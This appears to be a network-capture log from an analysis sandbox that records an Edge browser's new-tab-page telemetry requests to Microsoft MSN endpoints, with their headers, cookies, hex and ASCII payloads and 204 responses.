2025-01-11 06:54:49 UTC	1049	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1736578488354&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 9386 sec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31 sec-ch-ua-platform: "Windows" Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: USRLOC=; MUID=0136911D054E6BFC0E90846C04216AB7; _EDGE_S=F=1&SID=06A729D55B716F1D1BB63CA45A186E3F; _EDGE_V=1; msnup=%7B%22cnex%22%3A%22no%22%7D
2025-01-11 06:54:49 UTC	9386	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 43 6f 6e 74 65 6e 74 56 69 65 77 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 35 2d 30 31 2d 31 31 54 30 36 3a 35 34 3a 34 38 2e 33 35 33 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 39 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 37 39 63 65 31 39 66 34 2d 35 64 39 37 2d 34 65 37 39 2d 62 64 65 37 2d 38 36 36 37 38 64 66 30 33 65 36 38 22 2c 22 65 70 6f 63 68 22 3a 22 37 30 39 36 32 34 36 30 39 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 Data Ascii: {"name":"MS.News.Web.ContentView","time":"2025-01-11T06:54:48.353Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":9,"installId":"79ce19f4-5d97-4e79-bde7-86678df03e68","epoch":"709624609"},"app":{"loca
2025-01-11 06:54:49 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=95ec412589514a4db51e8afe94232cde&HASH=95ec&LV=202501&V=4&LU=1736578489550; Domain=.microsoft.com; Expires=Sun, 11 Jan 2026 06:54:49 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=b6ad3ecd294f4fb1b6d2133affbfacb4; Domain=.microsoft.com; Expires=Sat, 11 Jan 2025 07:24:49 GMT; Path=/;Secure; SameSite=None time-delta-millis: 1196 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Sat, 11 Jan 2025 06:54:49 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.11.20	60513	204.79.197.203	443

Timestamp	Bytes transferred	Direction	Data
2025-01-11 06:54:49 UTC	1029	OUT	GET /notify/viewed?rid=f7b66e0f99774ee4994a9572d133a3c9&r=resinfopane&i=6&p=edgechrntp&l=en-us&d=bing&b=Edg&a=087acc36-08c1-4daa-8dbd-3c1c710f7f4a&ii=1&c=15351574985914386683&bid=4612d191-d50f-4858-b355-b9340e91f3fd&tid=edgechrntp-resinfopane-6&ptid=edgechrntp-resinfopane-1&t=type.msft-content-card&dec=1-1 HTTP/1.1 Host: srtb.msn.com Connection: keep-alive sec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: USRLOC=; MUID=0136911D054E6BFC0E90846C04216AB7; _EDGE_S=F=1&SID=06A729D55B716F1D1BB63CA45A186E3F; _EDGE_V=1; msnup=%7B%22cnex%22%3A%22no%22%7D
2025-01-11 06:54:50 UTC	581	IN	HTTP/1.1 204 No Content Cache-Control: no-cache Pragma: no-cache Content-Type: image/gif Expires: -1 Strict-Transport-Security: max-age=31536000; includeSubDomains; preload X-Content-Type-Options: nosniff X-Cache: CONFIG_NOCACHE Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: 24B19E45AACE4E09ABF97EACE94200FB Ref B: CHI30EDGE0421 Ref C: 2025-01-11T06:54:49Z Date: Sat, 11 Jan 2025 06:54:49 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.11.20	63674	13.89.179.10	443

Timestamp	Bytes transferred	Direction	Data
2025-01-11 06:54:52 UTC	1050	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1736578491392&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 10113 sec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31 sec-ch-ua-platform: "Windows" Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: USRLOC=; MUID=0136911D054E6BFC0E90846C04216AB7; _EDGE_S=F=1&SID=06A729D55B716F1D1BB63CA45A186E3F; _EDGE_V=1; msnup=%7B%22cnex%22%3A%22no%22%7D
2025-01-11 06:54:52 UTC	10113	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 43 6f 6e 74 65 6e 74 56 69 65 77 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 35 2d 30 31 2d 31 31 54 30 36 3a 35 34 3a 35 31 2e 33 39 31 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 31 30 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 37 39 63 65 31 39 66 34 2d 35 64 39 37 2d 34 65 37 39 2d 62 64 65 37 2d 38 36 36 37 38 64 66 30 33 65 36 38 22 2c 22 65 70 6f 63 68 22 3a 22 37 30 39 36 32 34 36 30 39 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 Data Ascii: {"name":"MS.News.Web.ContentView","time":"2025-01-11T06:54:51.391Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":10,"installId":"79ce19f4-5d97-4e79-bde7-86678df03e68","epoch":"709624609"},"app":{"loc
2025-01-11 06:54:52 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=14b506eca1be4f9b96759c40bae3f9d1&HASH=14b5&LV=202501&V=4&LU=1736578492421; Domain=.microsoft.com; Expires=Sun, 11 Jan 2026 06:54:52 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=d62cdeb50cb44aea9592c12e6969f3c8; Domain=.microsoft.com; Expires=Sat, 11 Jan 2025 07:24:52 GMT; Path=/;Secure; SameSite=None time-delta-millis: 1029 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Sat, 11 Jan 2025 06:54:51 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.11.20	57085	13.89.179.10	443

Timestamp	Bytes transferred	Direction	Data
2025-01-11 06:54:52 UTC	1049	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1736578491913&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 8657 sec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31 sec-ch-ua-platform: "Windows" Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: USRLOC=; MUID=0136911D054E6BFC0E90846C04216AB7; _EDGE_S=F=1&SID=06A729D55B716F1D1BB63CA45A186E3F; _EDGE_V=1; msnup=%7B%22cnex%22%3A%22no%22%7D
2025-01-11 06:54:52 UTC	8657	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 43 6f 6e 74 65 6e 74 56 69 65 77 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 35 2d 30 31 2d 31 31 54 30 36 3a 35 34 3a 35 31 2e 39 31 33 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 31 31 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 37 39 63 65 31 39 66 34 2d 35 64 39 37 2d 34 65 37 39 2d 62 64 65 37 2d 38 36 36 37 38 64 66 30 33 65 36 38 22 2c 22 65 70 6f 63 68 22 3a 22 37 30 39 36 32 34 36 30 39 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 Data Ascii: {"name":"MS.News.Web.ContentView","time":"2025-01-11T06:54:51.913Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":11,"installId":"79ce19f4-5d97-4e79-bde7-86678df03e68","epoch":"709624609"},"app":{"loc
2025-01-11 06:54:53 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=2017f3102b8b4a5f8ded695eb9e44497&HASH=2017&LV=202501&V=4&LU=1736578492921; Domain=.microsoft.com; Expires=Sun, 11 Jan 2026 06:54:52 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=8310183d61c1428a95482efa58cb1f19; Domain=.microsoft.com; Expires=Sat, 11 Jan 2025 07:24:52 GMT; Path=/;Secure; SameSite=None time-delta-millis: 1008 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Sat, 11 Jan 2025 06:54:52 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.11.20	60866	13.89.179.10	443

Timestamp	Bytes transferred	Direction	Data
2025-01-11 06:54:55 UTC	1050	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1736578494345&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 10419 sec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31 sec-ch-ua-platform: "Windows" Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: USRLOC=; MUID=0136911D054E6BFC0E90846C04216AB7; _EDGE_S=F=1&SID=06A729D55B716F1D1BB63CA45A186E3F; _EDGE_V=1; msnup=%7B%22cnex%22%3A%22no%22%7D
2025-01-11 06:54:55 UTC	10419	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 43 6f 6e 74 65 6e 74 56 69 65 77 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 35 2d 30 31 2d 31 31 54 30 36 3a 35 34 3a 35 34 2e 33 34 34 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 31 32 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 37 39 63 65 31 39 66 34 2d 35 64 39 37 2d 34 65 37 39 2d 62 64 65 37 2d 38 36 36 37 38 64 66 30 33 65 36 38 22 2c 22 65 70 6f 63 68 22 3a 22 37 30 39 36 32 34 36 30 39 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 Data Ascii: {"name":"MS.News.Web.ContentView","time":"2025-01-11T06:54:54.344Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":12,"installId":"79ce19f4-5d97-4e79-bde7-86678df03e68","epoch":"709624609"},"app":{"loc
2025-01-11 06:54:55 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=207f9db0746f454a98b7a97f85f0c024&HASH=207f&LV=202501&V=4&LU=1736578495483; Domain=.microsoft.com; Expires=Sun, 11 Jan 2026 06:54:55 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=acf0adf6eb3845828e01aacfe929af00; Domain=.microsoft.com; Expires=Sat, 11 Jan 2025 07:24:55 GMT; Path=/;Secure; SameSite=None time-delta-millis: 1123 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Sat, 11 Jan 2025 06:54:55 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.11.20	52823	13.89.179.10	443

Timestamp	Bytes transferred	Direction	Data
2025-01-11 06:54:58 UTC	1050	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1736578497331&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 10410 sec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31 sec-ch-ua-platform: "Windows" Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: USRLOC=; MUID=0136911D054E6BFC0E90846C04216AB7; _EDGE_S=F=1&SID=06A729D55B716F1D1BB63CA45A186E3F; _EDGE_V=1; msnup=%7B%22cnex%22%3A%22no%22%7D
2025-01-11 06:54:58 UTC	10410	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 43 6f 6e 74 65 6e 74 56 69 65 77 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 35 2d 30 31 2d 31 31 54 30 36 3a 35 34 3a 35 37 2e 33 33 31 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 31 33 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 37 39 63 65 31 39 66 34 2d 35 64 39 37 2d 34 65 37 39 2d 62 64 65 37 2d 38 36 36 37 38 64 66 30 33 65 36 38 22 2c 22 65 70 6f 63 68 22 3a 22 37 30 39 36 32 34 36 30 39 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 Data Ascii: {"name":"MS.News.Web.ContentView","time":"2025-01-11T06:54:57.331Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":13,"installId":"79ce19f4-5d97-4e79-bde7-86678df03e68","epoch":"709624609"},"app":{"loc
2025-01-11 06:54:58 UTC	889	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=8c98b0eab23d4d0f9b3b26a9be9d3454&HASH=8c98&LV=202501&V=4&LU=1736578498294; Domain=.microsoft.com; Expires=Sun, 11 Jan 2026 06:54:58 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=993c7d265c37431d84dcc3f15ff02fe7; Domain=.microsoft.com; Expires=Sat, 11 Jan 2025 07:24:58 GMT; Path=/;Secure; SameSite=None time-delta-millis: 963 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Sat, 11 Jan 2025 06:54:57 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.11.20	55829	13.89.179.10	443

Timestamp	Bytes transferred	Direction	Data
2025-01-11 06:55:01 UTC	1050	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1736578500350&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 10391 sec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31 sec-ch-ua-platform: "Windows" Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: USRLOC=; MUID=0136911D054E6BFC0E90846C04216AB7; _EDGE_S=F=1&SID=06A729D55B716F1D1BB63CA45A186E3F; _EDGE_V=1; msnup=%7B%22cnex%22%3A%22no%22%7D
2025-01-11 06:55:01 UTC	10391	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 43 6f 6e 74 65 6e 74 56 69 65 77 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 35 2d 30 31 2d 31 31 54 30 36 3a 35 35 3a 30 30 2e 33 34 39 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 31 34 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 37 39 63 65 31 39 66 34 2d 35 64 39 37 2d 34 65 37 39 2d 62 64 65 37 2d 38 36 36 37 38 64 66 30 33 65 36 38 22 2c 22 65 70 6f 63 68 22 3a 22 37 30 39 36 32 34 36 30 39 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 Data Ascii: {"name":"MS.News.Web.ContentView","time":"2025-01-11T06:55:00.349Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":14,"installId":"79ce19f4-5d97-4e79-bde7-86678df03e68","epoch":"709624609"},"app":{"loc
2025-01-11 06:55:01 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=c0c254c7e35a4ba9b59413428efdf337&HASH=c0c2&LV=202501&V=4&LU=1736578501369; Domain=.microsoft.com; Expires=Sun, 11 Jan 2026 06:55:01 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=4cbad2e995834e4d8282c237d6e14734; Domain=.microsoft.com; Expires=Sat, 11 Jan 2025 07:25:01 GMT; Path=/;Secure; SameSite=None time-delta-millis: 1019 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Sat, 11 Jan 2025 06:55:00 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.11.20	52559	13.89.179.10	443

Timestamp	Bytes transferred	Direction	Data
2025-01-11 06:55:04 UTC	1049	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1736578503345&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 9369 sec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31 sec-ch-ua-platform: "Windows" Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: USRLOC=; MUID=0136911D054E6BFC0E90846C04216AB7; _EDGE_S=F=1&SID=06A729D55B716F1D1BB63CA45A186E3F; _EDGE_V=1; msnup=%7B%22cnex%22%3A%22no%22%7D
2025-01-11 06:55:04 UTC	9369	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 43 6f 6e 74 65 6e 74 56 69 65 77 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 35 2d 30 31 2d 31 31 54 30 36 3a 35 35 3a 30 33 2e 33 34 34 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 31 35 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 37 39 63 65 31 39 66 34 2d 35 64 39 37 2d 34 65 37 39 2d 62 64 65 37 2d 38 36 36 37 38 64 66 30 33 65 36 38 22 2c 22 65 70 6f 63 68 22 3a 22 37 30 39 36 32 34 36 30 39 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 Data Ascii: {"name":"MS.News.Web.ContentView","time":"2025-01-11T06:55:03.344Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":15,"installId":"79ce19f4-5d97-4e79-bde7-86678df03e68","epoch":"709624609"},"app":{"loc
